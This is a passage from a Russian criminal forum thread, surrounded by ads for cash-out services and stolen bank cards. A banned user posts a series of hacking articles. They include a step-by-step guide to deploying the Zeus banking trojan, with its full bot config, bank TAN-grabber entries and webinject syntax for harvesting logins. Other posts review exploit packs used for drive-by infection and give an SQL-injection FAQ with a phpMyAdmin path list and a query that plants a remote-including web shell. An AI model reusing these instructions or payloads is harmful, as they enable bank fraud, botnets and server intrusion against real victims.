TARANTINO OBNAL SERVICE №1 на рынке теневых услуг.
Депозит 1 млн.


✔️ Профессиональное сопровождение любых финансовых операций.

✔️ Россия, страны СНГ и Европы:

  • ➢ ФИЗ / ЮР лица
  • ➢ Мерчанты
  • ➢ ЭПС
  • ➢ Sim-карты
  • ➢ Работа с криптой по всему миру
  • ➢ Денежные переводы
ПЕРЕЙТИ К ТЕМЕ

ДЕБЕТОВЫЕ КАРТЫ СБЕРМАРКЕТ
  • ⭐️ Пожизненная гарантия от краж.
  • ⭐️ Все в наличии. Экспресс-доставка. Лучшие цены.
  • ⭐️ Ветка 2021 года. Сотни отзывов.
  • ⭐️ Статус Ветеран на ДаркМани.
  • ⭐️ Депозит миллион ₽.
КАРТЫ РФ 🇷🇺
КАРТЫ ГРУЗИИ 🇬🇪
ЛК КАЗАХСТАНА 🇰🇿


БОЛЕЕ 1000 КОМПЛЕКТОВ ДРУГИХ ТОПОВЫХ БАНКОВ ВСЕГДА В НАЛИЧИИ

>>> ПЕРЕЙТИ К ТЕМЕ <<<
Telegram: https://t.me/SberMarketTG

У форума есть зеркало в Тор http://darkmonn6oy55o7kgmwr4jny2gi2zj6hyalzcjgl444dvpalannl5jid.onion
Официальный канал Darkmoney в Телеграм https://t.me/+k1c69d6xQsswYzU0
NEW! 🔥 Чат Darkmoney в Телеграм https://t.me/+q40pcoHjSRVmNTE0

Разные статьи.

  • Автор темы Автор темы Rogge
  • Дата начала Дата начала

Rogge

.
Регистрация
10.06.13
Сообщения
242
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
В этой теме буду выкладывать разные статьи.​
Чтобы не создовать по 100 тем.


__________________
Добавил подписку-
Мне запрещено продавать что либо на форуме.
Потому что я виду тему http://darkmoney.cc/prochie-temy-34...tat-i-12152/prochie-temy-34/...-stat-i-12152/
Если я выложу что что то продаю или предлагаю купить то сообщите модератору
 
Последнее редактирование:
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
Socks прокси сервер через SSH тоннель

Имеется: любой VPS/VDS
Задача: скрыть свой IP
Хочется: самому контролировать ситуацию, хотя бы отчасти.


Настройка в Linux
Организация тоннеля через SSH

1. Открыть консоль
2. Прописать:
Код:
ssh [email protected] -D 5555
где
user - пользователь VPS/VDS с правом доступа по ssh
123.123.123.123 - ip адрес сервера.


Настройка браузера

Зайти в меню настроек, Сеть, и прописать
SOCKS-HOST: 127.0.0.1
Port: 5555
отметить SOCKS v5.

Fafv.jpg


Остальное оставить пустым.



Настройка в Windows
Организация тоннеля через SSH

1. Скачать PuTTY
http://www.chiark.greenend.org.uk/~s.../download.html
2. указать
Host Name: 123.123.123.123
Port: 22

где
123.123.123.123 - ip адрес сервера.
22 - порт ssh
3. перейти в пункт
Connection -> SSH -> Tunnels
4. там прописать
a) Source Port: 5555
b) отметить Dynamic
c) нажать "ADD"
d) нажать "Open"

bFoe.png


Настройка браузера
 
Последнее редактирование:
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
Мануал По ZeuS

Сегодня мы затронем тему Zeus
В конце мануала вы найдете архив:
TEXT_MANUAL – Подробнейший мануал от автора
Zeus sсriрts – Скрипты админки (Zeus 1.3.2.1 ) и билдер бота (Zeus 1.2.7.19)
Zeus_video – И само видео.

Приступим к настройке:
Нам понадобиться хостинг с поддержкой Mysql и PHP
Создадим базу данных и перейдем к установке админки
Перенесем содержимое папки ./Zeus sсriрts/Web на наш хостинг и запустим через браузер инсталлятор
Пример:
http://test1.ru/install/index.php
Видим следующее:

Root user:
User name: (1-20 chars): // Вводим логин пользователя
Password (6-64 chars): // Вводим пароль пользователя
MySQL server:
Host: // Host Mysql – Обычно это localhost
User: // Имя user базы данных
Password: // Пароль user базы данных
Database: // Имя базы данных
Local folders:
Reports: // Название папки с отчетами, по дефолту стоит _reports
Options:
Online bot timeout: // Таймаут бота, по дефолту стоит 25
Encryption key (1-255 chars): // Ключ бота, от 1 до 255 латинских символов
Enable write reports to database. // Сохранять отчеты в базу данных?
Enable write reports to local path. // Сохранять отчеты в локальную папку (по дефолту _reports) ?
После ввода всех данных, жмем Install и дожидаемся установки.
После видим следующее:

Удаляем с хостинга папку install она нам больше не понадобится
Можем смело направляться в админку http://test1.ru/cp.php

Вводим логин и пароль указанные при установке скриптов.
И попадаем в админку:


Пол дела сделано.
Теперь переходим к настройке бота ./Zeus sсriрts/Builder 1.2.7.19
Видим 4 файла:
config.txt // Конфигуратор бота
webinjects.txt // Файл со стандартными инжектами
webinjects new.txt // Файл с дополнительными инжектами, если хотим воспользоваться, просто переименуйте в webinjects txt
zsb.exe // Сам билдер Zeus
Запускаем билдер, переходим на вкладку Builder:

Жмем Edit Config:

;Build time: 09:48:52 12.08.2009 GMT
;Version: 1.2.7.19

entry "StaticConfig"
;botnet "btn1"
timer_config 60 1
timer_logs 1 1
timer_stats 20 1
url_config "http://test1.ru/cfg2.bin"
url_compip "http://cmyip.com/" 4096
encryption_key "122122"
;blacklist_languages 1049
end

entry "DynamicConfig"
url_loader "http://test1.ru/bot.exe"
url_server "http://test1.ru/gate.php"
file_webinjects "webinjects.txt"
entry "AdvancedConfigs"
;"http://host/cp/cfg1.bin"
end
entry "WebFilters"
"!*.microsoft.com/*"
"!http://*myspace.com*"
"https://www.gruposantander.es/*"
"!http://*odnoklassniki.ru/*"
"!http://vkontakte.ru/*"
"@*/login.osmp.ru/*"
"@*/atl.osmp.ru/*"
end
entry "WebDataFilters"
;"http://mail.rambler.ru/*" "passw;login"
end
entry "WebFakes"
;"http://www.google.com" "http://www.yahoo.com" "GP" "" ""
end
entry "TANGrabber"
"https://banking.*.de/cgi/ueberweisung.cgi/*" "S3R1C6G" "*&tid=*" "*&betrag=*"
"https://internetbanking.gad.de/banking/*" "S3C6" "*" "*" "KktNrTanEnz"
"https://www.citibank.de/*/jba/mp#/SubmitRecap.do" "S3C6R2" "SYNC_TOKEN=*" "*"
end
entry "DnsMap"
;127.0.0.1 microsoft.com
end
end
Теперь начинаем править под свой хост:
9 строка - url_config "http://test1.ru/cfg2.bin" – путь к будущему cfg.bin файлу
11 строка - encryption_key "122122" - Ключ который вы вводили, когда устанавливали скрипты. Если забыли, то идем в админку
http://test1.ru/cp.php -> Options -> Botnet -> Encryption key:

16 строка - url_loader "http://test1.ru/bot.exe" – Путь к будущему боту для загрузки
17 строка - url_server "http://test1.ru/gate.php" – Путь к gate.php для отстука бота
18 строка - file_webinjects "webinjects.txt" – название файла с инжектами
После настройки config.txt сохраняем и жмем Build Config и создавшийся файл нам нужно залить на хостинг согласно настройкам. В нашем случае путь должен быть http://test1.ru/cfg2.bin

Идем дальше, жмем Builder loader и сохраняем по настройкам, что бы путь получился http://test1.ru/bot.exe

Теперь можем закрыть билдер и запустить бота
Отстук можем увидеть в админке
Для удаления Zeus с вашего компьютера (Рекомендую не использовать компьютер для бидла и тестинга Zeus, используйте виртуальную машину) запустите еще раз Bulder и нажмите Remove spyware from this system, в поившемся окне жмем ОК, после чего перезагружаем компьютер.

Остается криптануть, делать загрузки и наслаждаться личным ботнетом =)
Инжекты для Zeus

- Я новичок в этом деле, расскажи для чего же нужны инжекты?
- Представим, что мы хотим сделать себе троян, который будет воровать пароли от банковского счета! ну или от обычной почты
Под каждый веб ресурс нам нужен свой код инжекта и если правильно составить код ввода данных, то жертва получит фейковую страницу, а мы тем временем пароли =)
И так, делаем свой инжект! Слябзино с r3al.
Флаги
Определяет основное условие загрузки, может состоять из нескольких флагов в любом порядке, но с учетом регистра. В настоящее время доступны следующие флаги:
P - запускать веб-инжект при POST запросе на URL.
G - запускать веб-инжект при GET запросе на URL.
L - изменяет предназначение веб-инжекта, если указать этот флаг, то будет получен нужный кусок данных и немедленно сохранен в лог.
F - дополняет флаг L, позволяет записывать результат не в лог, а в отдельный файл.
H - дополняет флаг L, сохраняет нужный кусок данных без вырезания тегов.
D - запускать веб-инжект раз в 24 часа.
BlackMask POST
Представляет из себя маску POST-данных передаваемых URL, при которых не будет запускаться веб-инжект.
WhiteMask POST
Представляет из себя маску POST-данных передаваемых URL, при которых будет запускаться веб-инжект.
URL
URL на которую должен срабатывать веб-инжект, можно использовать маску.
URL блокировки
В случаи если ваш веб-инжект должен грузиться лиш один раз на компьютере жертвы, то здесь следует указать маску URL, в случаи открытия которой данный Веб-инжект не будет более использоваться на компьютере.
Если вам этого не нужно, оставьте поле пустым.
Mask context
Маска части содержимого страницы, при котором должен сработать веб-инжект.

После указания URL, со следующей строки начинается перечисление веб-инжектов, которое длится до тех пор, пока не достигнут конец файла или не задана новая URL при помощи очередной записи set_url. Один веб-инжект состоит из трех элементов:
Без флага L:
data_before - маска данных после которых нужно записать новые данные.
data_after - маска данных перед которыми следует записать новые данные.
data_inject - новые данные, на которые будет заменено содержимое между data_before, data_after.
С флагом L:
data_before - маска данных после которых начинается кусок получаемых данных.
data_after - маска данных перед которыми кончается кусок получаемых данных.
data_inject - играет роль заголовка для получаемых данных, нужен лишь для визуального выделения в логах.

Название элемента должно начинаться с первого байта новой строки и сразу после окончания названия должен быть перенос на следующею строку. Со следующей строки идут данные веб-инжекта, окончание данных обозначается строкой data_end, также это строка должна начинаться с первого байта очередной строки. Внутри элемента вы можете свободно использовать любые символы.
Примечания:
Как известно, новая строка может обозначаться одним (0x0A) или двумя (0x0D и 0x0A) байтами. Т.к. в основном веб-инжект используется для подмены содержимого текстовых данных, то данная особенность учтена, и бот успешно запускает веб-инжект даже если у вас новые строки обозначены двумя байтами, а в содержимом URL одним байтом и наоборот.
Элементы веб-инжекта могут быть расположены в любом порядке, т.е. data_before, data_after, data_inject, или data_before, data_inject, data_after и т.д.
Элемент может быть пустым.
При использовании флага L, в получаемых данных каждый тег заменяться на один пробел.

Пример файла:
Подмена заголовка любого сайта по протоколу http на фразу "HTTP: Web-Inject"
;set_url http://* GP

data_before
<title>
data_end

data_inject
HTTP: Web-Inject
data_end

data_after
</title>
data_end
Подмена заголовка любого сайта по протоколу http на фразу "HTTPS: Web-Inject" и добавление текста "bоdу: Web-Inject" сразу после тега <bоdу>

set_url https://* GP

data_before
<title>
data_end

data_inject
HTTPS: Web-Inject
data_end

data_after
</title>
data_end

data_before
<bоdу>
data_end

data_inject
<hr>bоdу: Web-Inject<hr>
data_end

data_after
data_end
Получаем заголовок страницы
set_url http://*yahoo.com* LGP

data_before
<title>
data_end

data_inject
Yahoo Title: Web-Inject
data_end

data_after
</title>
data_end
Собранный инжект, Пример под E-gold:
set_url https://www.e-gold.com/acct/balance.asp* GPL
data_before
<form name=fiat*</form>
data_end
data_inject
data_end
data_after
<th colspan=4 align=left valign="bottom"
data_end
 
Последнее редактирование:
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
Обзор и сравнение актуальных связок

Возможно, статья немного затянутая. Но свободное время появилось только сейчас К тому же мне показалось достаточно интересным, чтобы все её прочитали, выудили кое-какие интересности из каждой связки и получили урок на будущее.

В нашем обзоре мы рассмотрим несколько большинство связок, предлашающихся(вшихся) на рынке - adpack, g-pack, firepack, tornado, cry217. Сделаем небольшую оговорку: последние 3 связки, в отличие от предыдущих двух, брались из доступных всем ресурсов, либо по знакомству, назовём его полупаблик

Итак, начнём наш немаленький обзор.

Adpack
Прекрасная связка. Пожалуй, самая старая из всех, представляющихся в обзоре (11.09.2007). Действительно, очень грамотная статистика для администратора. На главной - общая статистика и последний десяток стран. Также можно отдельно просмотреть список заражённых машин, рефералов и так далее. Вроде бы на первый взгляд производит неплохое впечатление...
Теперь к эксплоитам. Тут меня пронзает возглас ужаса. Присутсвуют только мдак и эксплоит для оперы <=9.20! А судя по словам харба, на ru траффике связка даёт до 55%... Что ж, тест связок в нашу компетенцию не входит, оставим всё на совести.
Ах, чуть не забыл... Тут присутствует и уязвимость локальной java-машины, которая загружает знаменитый BaaaaBaa.class (а тот в свою очередь догружает наш трой). ну тут, как говорится, на любителя... явы стоят и запущены далеко не у всех. я считаю, что на пробив уязвимость не очень сильно влияет. Из плюсов можно отметить действительно краткий и понятный код и простоту в установке. Если говорить о связке в целом, то harb2 на самом деле заложил большой фундамент по развитию связок. Вспомнить даже хотя бы 1.5 мегабайтный айспак и мпак с кучей файлов - тут мы имеем чистый код, ничего лишнего. Можно говорить о методе добавления картинок стран, о создании БД через PHP-скрипт и других приятных вещах вроде того же вида админки как о большом новшестве Крипто-модули тут отсутствуют вовсе. Стоимость связки - 150$.

CRY217
Название интересное. Что бы это значило.
Из эксплоитов существуют smc, cro, mdac, wvf, vml. В самом конце страницы с эксплоитами все обозначенные функции запускаются. Что самое интересное, все. кроме функции wvf. Возможно, автор на этом месте свалился со стула спать и забыл дописать.
Естественно, всё, как положено, обфусковано. Все эксплоиты лежат в одном файле (почему выделяю это в отдельный пункт - при заходе на страницу выполняются сразу все эксплоиты, а следовательно и повышается шанс того, что браузер или лопнет от натуги, или юзеру надоест смотреть на страницу). Админка предусматривает просмотр последних 3х реферреров, языков (определяется по заголовку браузера) и общую статистику. Также есть статистика по забаненным ip. Стоимость - 100$.

Firepack
Назовём её самой загадочной. В данный момент селлерт находится в бане на WHB и CW. Многие клиенты отписывались о достаточно плохом пробиве связки... Но нам же интересны внутренности! Используя внутренние позывы к познанию всего нового, открываем папочку со связкой.
Тут писать почти нечего... Эксплоиты один-в-один, как и у CRY217, можно даже по байтам сравнить... Или это у предыдущей связки такие же, как у файерпака... Не знаю. Факт остаётся фактом - обе связки уже не продаются в публичном доступе, возможно, из-за пробива, которые эти самые эксплоиты дают. Точнее сказать, файерпак продавали, но как я уже сказал, автор куда-то смылся, и связка показала неутешительный проценты на многочисленных проектах. Из, пожалуй, единственных плюсов можно выделить статистику на файлах -- на огромных объёмах трафика БД может не выдержать давления посетителей. Стоимость - 250$.

Tornado
Звучит... да, эта связка наделала много щуму. небольшой обзор о ней писали даже на сайте какого-то антивируса, помнится мне. мы же напишем свой.
распаковываем архив со связкой... оп, все файлы зазендены. аккуратно снимаем зенд с помощью он-лайн дезендера и смотрим, что же мы имеем. Имеем встроенный криптор файлов (который раззендить не удаётся!) и немного-немало 17 эксплоитов, из них 16 уникальных! уже интересно. Названия приводить не буду, при желании Вы всегда можете посмотреть их сами в админке.
Ох, непотная эта работа - описывать Торнадо. Тут есть всё - начнём описание со списка сработанных эксплоитов (таким образом, реализована важнейшая часть, по моему мнению, каждого ротатора эксплоитов: грузится один эксп, если он не срабатывает, только после этого грузится следующий, а не все сразу -- чего нету ни в одной другой связке!). можно делать выборку по пользователям (то есть, index.php?a=1 грузится файл пользователя 1 со всеми его настройками, index.php?a=2 - грузятся настройки 2го. удобно, если сдаёшь связку в аренду). Можно указывать только желаемые страны, которые нужно пробивать. Очень интересно в этом всём сидеть и копаться. зачем-то есть скрипт для проверки PR сайтов. В общем, я бы сказал, образцовый пример для связки! Если бы можно было посмотреть, что внутри crypt.php, цены бы ей не было. бесконечно модифицировать такого рода продукт - мечта любого кодера. Стоимость неизвестна.


G-pack
Я думаю, пришла пора для самого интересненького. Оставлю прочтения всех описаний мега-связки на читающего сейчас мою статью, ссылка на топик продавца указана выше. На вхб сейчас связка продаётся за 99$... естественно, продаваемый вид первый взгляд нечитабельный, но этот крипт, которыми зашифрованы все файлы, не так сложно снять.


Harbinger (22:59:02 3/06/2008)
что там за криптор?

Harbinger (22:59:08 3/06/2008)
поменять еваль на алерт?
о да, харб угадал честно говоря, я сделал по-другому, но смысл остаётся такой же - при раскодировании зашифрованного кода эксплоита в переменной накапливается раскриптованное значение. а мы в самом конце цикла записываем значение переменной в файл. таким вот образом, раскриптовав все файлы, внимательно изучаем внутренности...
Приводить полностью все раскриптованные файлы я не буду, но вот - открывки одного из файлов, admin.php.


Код:
if (isset ($_SESSION["logged"])) { include "mysql.php"; include "geoip.php"; }
else {
$_GET["action"] = "notloggedin";
if (@$_POST["login"] == $admin_login and @$_POST["password"] == $admin_password) { $_SESSION["logged"] = true; Header ("Location: admin.php"); exit; }

Код:
if (isset ($_sEssION["logged"])) { include "mysql.php"; include "geoip.php"; }
else {
$_GET["action"] = "notloggedin";
if (@$_POsT["login"] == $admin_login and @$_POsT["password"] == $admin_password) { $_sEssION["logged"] = true; Header ("Location: admin.php"); exit; }
Ну в общем, думаю, тут сравнения излишни Далее внимательно изучаем скрипты, буквально побайтно сравниваем пхпшники. В exploits.php вновь можно увидеть присутсвие гарриса - он изменил название переменной и имя редиректы страницы, на которую редиректится пользователь после срабатывания эксплоита. В адпаке мы редиректились на страницу с java-эксплоитом, в гпаке - на "страницу 404". Умно. Замечу, что в остальных файлах изменены только названия файлов. Например, если в адпаке у нас был blank.php (куда сваливался заблокированный трафик), в гпаке есть аналог 404.php
Криптовка как таковая также отсутствует. Я бы так дотошно не исследовал всю эту небольшую кашу, если бы не небольшое негодование, которое пронеслось по мне, когда я читал топик Garris'a на вебхаке. 28 человек с положительными отзывами! цитирую одного из них:
cassino-s: Работает по-лучше всяких адпаков [/QUOTE
Парадокс, убрали яваэксплоит, поменяли таблицу стилей в админке и пробив увеличился, не так ли? По моим подсчётам, учитывая неотписавшихся в топе людей, гаррис из воздуха сделал 3к$, не учитывая тех денег, которые он берёт за обновления (накинем 0.5к$)! Неплохо, да? А ведь криптовка в гпаке также отсутствует.
Сразу возникает вопрос, ну а что, взял он адпак и продаёт себе, ну может быть это криптор у него такой классный? Да, классный... Просто шифруем тело скриптов новым ключём, оболочка не палится - и вот пожалуйста тебе чистка... Это спасает лишь косвенно, так как детект происходит в момент выполнения эксплоита, в кеше браузера. То есть палится не оболочка файла, а результат, который он выдаёт.
Нет, я не говорю никаких неуместных и ругательных слов в пользу гарриса. он здорово поступил, находчиво!

Засим, оставляю всех для размышления. Стоит ли Вам сейчас стукнуть знакомому дизайнеру и заказать супер-дизайн для административной панели вашего будущего сайта, а также купить учебник по PHP и написать простенький пхп-криптор, провести пару махинаций над существующими связками и продавать "всего за 89$"? Не знаю.

Но "4000 долларов" - согласитесь, звучит заманчиво.


=========================================
Приложение 1 - список отзывов для g-pack на WHB.

Код:
index.off. || Купил у Garris'a связку - качественный продукт, за не большую сумму. Так держать smile.gif
cassino-s || Связка что надо. Работает по-лучше всяких адпаков, не палится и не стоит астрономических денег, которые нужно платить непонятно за что. Вообщем доволен !
Z1odey || Купил связку, не палится, работает отлично, за эти деньги, отличное предложение..
Деф || Купил. Цена на связку оправданна и даже более того.
djus || Также купил связку, продуктом остался доволен. цена адекватная. Пробив радует
Irbis_kill || Полностью доволен, за сотку самое оно, пробив по RU на IE 45% , пойдет.
Afer1st || Приобрёл связку, пробив хороший, качеством доволен!
ReeD || Работал с ТС. Цена в самый раз, качеством доволен.
Art1sT || купил все ок
anburan || Купил, на свои деньги связка - отлично работает wink.gif
finei || Тоже приобрел - пока только радует. ИЕ на неру адалте до 9% добивает. Человек адекватный - никаких проблем.
zigix || Взял связку у автора , продуктом более чем доволен
volhonka || да хорошая связка
fel_ex || взял даный продукт, остался доволен
andreyDch || 23-26% на ру трафе
g3tla1d || Отличная связка с наилучшим кпд "стоймость-пробив"
sO_ || связку взял, вполне доволен, тестил на маленьком количестве ру траффа, пробив 27%
musorablya*****asy || Связка однозначно стоит своих денег! Все просто, ничего лишнего, и работает.
aggr0path || Bral sploit. Sootnoshenie Kachestva i Cena lutshie na Rinke.
RKirill || Хороший сервис .... легкий в установке.... Спасибо
nitro_gluk || Обновление получил, все ок!
v0id3r || Купил связку, все цивильно, без проблем.
Max.66RUS || Приобрел данный продукт - очень доволен. Всем советую.
4utep || Купил связочку.Бум юзать
GENN || [тут статистика]
Nickols || Получил первую чистку фри , все гут
adwordssss || Обнову получил всё ок
Lyric || Garris, молчишь в асе. Чистка нужна.
 
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
Faq по Sql иньекции

В последнее время люди обращаются за помощью, задавая одни и те же вопросы, основная причина их возникновения - невнимательное прочтение статей, или отсутсвие концентрации внимания при проведении иньекции. Собираю здесь FAQ, если есть чем пополнить - бога ради, выслушаю, отвечу и добавлю, в остальных случаях буду адресовывать в этот FAQ

1. Не получаеться подобрать колонки с помощью order+by. При любом значении - ошибка

Убедитесь что вы работаете с mysql 4 или 5ой ветки. Возможно вы столкнулись не с mysql базой, или с mysql 3x.
Попоробуйте заменить /*(mysql) на -- (MSsql, Postgre, ORA) или %00 (Access)

2. Я правельно подобрал колонки, но у меня не выводиться на экран принтабельные колонки, хотя к несуществующим значениям переменой перходить пробывал

Возможно вывод в теге <title>, либо в свойствах какой нибудь картинки выпадающей на экаран при правельном подборе столбцов или затерян на странице.
Возможно принтабельных колонок нет. Пробуйте подобрать таблицу и залить шелл с помощью запроса к БД

3. Не могу прочитать данные из таблицы, хотя таблица существует

Возможно данные из таблицы требуют конвертации, иногда приходиться обьеденять и AES и convert, встречал пару раз такую ситуацию.
Чтение данных из таблицы запрещено ( нехватает прав )
Вы пытаетесь прочитать данные из базы, где этой таблицы нет, так очень часто случется если сайт работает с двумя базами:
к примеру вам известно что существует таблица forums, однако по дефолту в запросе вы обращаетесь к базе site, а таблица forums нахожиться в базе frm, корректным будет запросить таблицу именно из этой базы +from+frm.forums.

4. Все составляю правельно, но подзапросы не работают.

Проверьте налилче фильтрации кавычек, если таковая присутсвует законвертируйте содержащуюся в кавычках часть запроса в hex.
Подзапросы появились в mysql версии старше 4.1.х , тобеж в mysql 4.0.21 подзапросы работать не будут

5. Не работает функция load_file (Лидер вопросов)

Необходимым условием работы этой функции и функции записи через запрос является достаточность прав, которых в основном нехватает

6. Немогу продвинутся дальше подбора колличества колонок, посоветуй что то еще.

Ищите phpmyadmin, благо часто он оказывается без пароля, очень часто выручало в безвыходных ситуациях. Попав в phpmyadmin можно попытаться выполнить запросы к БД, либо прочтать данные из таблиц название которых вы не смогли подобрать.

Наиболее вероятное месторасположение phpmyadmin

Код:
/phpm/
/phpmy/
/phpmyadmin/
/PMA/
/mysql/
/admin/
/db/
/dbadmin/
/web/phpMyAdmin/
/admin/pma/
/admin/phpmyadmin/
/admin/mysql/
/phpmyadmin2/
/mysqladmin/
/mysql-admin/
/phpMyAdmin-2.5.6/
/phpMyAdmin-2.5.4/
/phpMyAdmin-2.5.1/
/phpMyAdmin-2.2.3/
/phpMyAdmin-2.2.6/
/myadmin/
/phpMyA/
/phpmyad/
/phpMyAdmin-2.6.0/
/phpMyAdmin-2.6.0-pl1/
/phpMyAdmin-2.6.3-pl1/
/phpMyAdmin-2.6.3/
/phpMyAdmin-2.6.3-rc1/
/phpMyAdmin-2.6.2-rc1/
/phpMyAdmi/
/phpMyAdmin1/
/phpMyAdmin2/
/phpMyAdmin-2/
/phpMyAdmin-2.10.0/
/phpMyAdmin-2.3.0/
/phpMyAdmin-2.3.1/
/phpMyAdmin-2.3.2/
/phpMyAdmin-2.3.3/
/phpMyAdmin-2.3.4/
/phpMyAdmin-2.3.5/
/phpMyAdmin-2.3.6/
/phpMyAdmin-2.3.7/
/phpMyAdmin-2.3.8/
/phpMyAdmin-2.3.9/
/phpMyAdmin-2.4.0/
/phpMyAdmin-2.4.1/
/phpMyAdmin-2.4.2/
/phpMyAdmin-2.4.3/
/phpMyAdmin-2.4.4/
/phpMyAdmin-2.4.5/
/phpMyAdmin-2.4.6/
/phpMyAdmin-2.4.7/
/phpMyAdmin-2.4.8/
/phpMyAdmin-2.4.9/
/phpMyAdmin-2.5.0/
/phpMyAdmin-2.5.1/
/phpMyAdmin-2.5.2/
/phpMyAdmin-2.5.3/
/phpMyAdmin-2.5.4/
/phpMyAdmin-2.5.5/
/phpMyAdmin-2.5.6/
/phpMyAdmin-2.5.7/
/phpMyAdmin-2.5.8/
/phpMyAdmin-2.5.9/
/phpMyAdmin-2.6.0/
/phpMyAdmin-2.6.1/
/phpMyAdmin-2.6.2/
/phpMyAdmin-2.6.3/
/phpMyAdmin-2.6.4/
/phpMyAdmin-2.6.5/
/phpMyAdmin-2.6.6/
/phpMyAdmin-2.6.7/
/phpMyAdmin-2.6.8/
/phpMyAdmin-2.6.9/
/phpMyAdmin-2.7.0/
/phpMyAdmin-2.7.1/
/phpMyAdmin-2.7.2/
/phpMyAdmin-2.7.3/
/phpMyAdmin-2.7.4/
/phpMyAdmin-2.7.5/
/phpMyAdmin-2.7.6/
/phpMyAdmin-2.7.7/
/phpMyAdmin-2.7.8/
/phpMyAdmin-2.7.9/
/phpMyAdmin-2.8.1/
/phpMyAdmin-2.8.2/
/phpMyAdmin-2.8.3/
/phpMyAdmin-2.8.4/
/phpMyAdmin-2.8.5/
/phpMyAdmin-2.8.6/
/phpMyAdmin-2.8.7/
/phpMyAdmin-2.8.8/
/phpMyAdmin-2.8.9/
/phpMyAdmin-2.9.1/
/phpMyAdmin-2.9.2/
/phpMyAdmin-3/
/phpMyAdmin-4/
/phpMyAds/
/phpmyad-sys/
7. Столкнулся с базой типа ORacle, подобрал колонки с помощью order+by, но затем не могу выявить принтаблельные

Вы используете неправельный метод подбора, особенностью базы Oracle является необходимость указание в запросе существующией таблцы ( чаще всего используется sys.dual)
Если вы используете правельный метод подбора (null,null,null,1,null+from....) и все ровно получаете ошибку, попробуйте преобразовать типы выводимых данных в char
(null,null,null,to_char(1),null+from....)

8. Столкнулся с базой типа Postgre, подобрал колонки, но при выявлении принтабельных получаю ошибку.

Аналогично пункту 7, за исключение того что в этой базе указание в запросе сущестующей таблицы для выявление притабельных колонок не требуется

9. База типа Postgre и только одна принтабльная колонка, как вывести данные?
Действительно в этой базе нет функции concat(), выводим банально, указывая в одной колонки две колонки которые надо вывести, между ними значение разделителя в двойных значках "пайп"
(+select+null,login||chat(32)||pass,null+from+.... )

10. Есть ли какие то тулзы для проведения sql иньекции автоматизированно?

Да конечно, полно! Но они не будут искать за вас уязвимости. Кстати лично я советую все делать руками

11. Где в phpmyadmin заливать шелл?

Непосредственно ничего залить в phpmyadmin нельзя, можно только послать запрос к БД и создать php файл.
Код:
select '<? @include("http://ваш_шелл.txt"); ?>' into outfile '/home/www/publ/site/shel.php';


12. Неполучается залить шелл этим способом.

Нехватает прав на залитие шелла. Просмотрите пункт 6
 
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
Настройка Антивирусов на Дедиках

Вашему внимаю представляю настройки,Ав и Фаеров на Дедиках и обход их или удаление с Дедика

Но удалять Ав крайне не рекомендую вам,так как вас спалит админ Дедика..


Вашему внимаю буду вылаживать по мере своей необходимости и вашему внимаю всю инфу по Ав и Фаерам.

Думаю не буду комментировать это все,так как будет и так все понятно по скринам,кому не понятно сниму видео урок.Для тех кто туго смотрит на это всё.

4cibnkl1w9ja.jpg


kraqnu3ghxkm.jpg


u4rdbt24tkt2.jpg


sxslnbp7cvew.jpg
 
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
agvhtghfwj6s.jpg


s983bpzkc4pi.jpg
 
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
6b743d4ef295.jpg

86765783fd27.jpg

1c305c62d31a.jpg

9e65d6e0b4d2.jpg
 
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
41b3921eb7c5.jpg

c45f8fdc30bb.jpg

032481b10c32.jpg
 
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
Собственный VPN (Зачем платить больше)

Бодрого времени суток посетители, участники модераторы и все кто просто зашел по ссылке из гугла.

В связи с тем что популяризация sVPN сервисов растет с неумолимой скоростью, и скоро заполонит большее количество рекламных мест на всех IT форумах. И цены с количеством клиентов вроде бы тоже растут, правда не всегда, решил заморочаться темой создания собственных OpenVPN серверов. И естественно под Windows. Так как в большинстве случаев использую Windows Dedicated Server 2003. Что в принципе имеет сходства с Windows XP.

Достаточно долго искал подобные мануалы но находил только под линь и то не всегда успешные.
решил испробовать метод Тыцка.

Предлагаю вашему внимания стандартный сервер OpenVPN
Который доступен тут
_http://openvpn.net/index.php/open-source/downloads.html

И прямая ссылка на скачивание сервера версии 2.3.0 тут:

Windows Installer (32-bit)

Windows Installer (64-bit)

Далее проходимо простую инсталяцию данного пакета, когда нужно будет выставлять галочки, выбираем все.

Далее идём в папку проинсталированного пакета
c:\program files\openvpn\config\


далее нам нужно сделать конфиги для сервера.
Примеры конфигов для нынешней версии распространяются в папке Sample-Config

Но я использовал упрощенный вариант :
# для сервера
dev tun
ifconfig 77.77.77.77


#для клиента
remote host.ru (где сервер - это ваш сервер OpenVPN, или IP адрес 77.77.77.77)
dev tun
ifconfig 77.77.77.78

Сохраняем файл.

Далее запускаем из меню пуск - программы - OpenVPn/openvpn GUI

Кликаем ПКМ (Правой клавише мыши) по иконке запущенной программы в трее - нажиманием коннект. Затем повторяем операцию на клиентской машине.

Данный софт хорош тем что он работает даже с примитивными настройками

Гифруемся и сёрфим по интеу в безопасности.
 
Внимание: этот пользователь заблокирован! Настоятельно рекомендуем воздержаться от любого сотрудничества с ним!
Как расшифровать mra.dbs в Mail.Ru агенте

Разберём весь файл по кусочкам:

Открываем в редакторе WinHex файл mra.dbs и ищем там unicode строку mrahistory__
8a3de6e946.gif

Опытным путем было установлено, что перед строкой обязательно 4 байта 00 00 00 00 и строка должна заканчиваться 75 00 ('u' в юникоде)

Поднявшись выше на 0x16C байт мы видим два четырех байтовых ID:
1 ID - первого сообщения в отправленных
2 ID - последненго сообщения принятого

ID указывает нам на начало двусвязного списка

Берем ID отправленных в данном случае это 0x5E040000 и ищем его в dbs
863124c4d5.gif

тут мы видим что 2 id = 0x00000000 это значит что отправленных сообщений больше нет.
